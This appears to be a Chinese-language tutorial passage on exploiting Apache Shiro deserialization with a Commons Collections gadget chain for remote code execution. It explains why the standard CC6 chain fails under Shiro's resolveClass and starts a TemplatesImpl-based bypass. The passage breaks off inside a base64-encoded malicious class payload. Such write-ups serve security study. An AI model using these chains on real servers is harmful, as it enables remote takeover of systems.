0x01
这篇利用CC链来进行RCE
利用分析
在shiro-web 中加上CC依赖
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
<scope>compile</scope>
</dependency>
分析:
直接利用CC6的链子来打是不行的,会提示类加载[L.....] 其实就是不允许加载这个 Transformer[]了
原因是 ClassResolvingObjectInputStream 重写了 reselveClass,返回的是一个 ClassUtils.forName(osc.getName())
而原生类 则是返回 Class.forName()
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}
所以 区别就是shiro中重写的resolveClass()
调用的是自己写的一个工具类ClassUtils
中的forName方法,所以不能加载数组类。 (深入的是开发的知识,暂不了解
链构造:
现在就要绕过数组问题,我们可以利用动态加载来而已加载一个类,这样不会出现数组问题
可以先把 CC3的前半部分拿过来
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy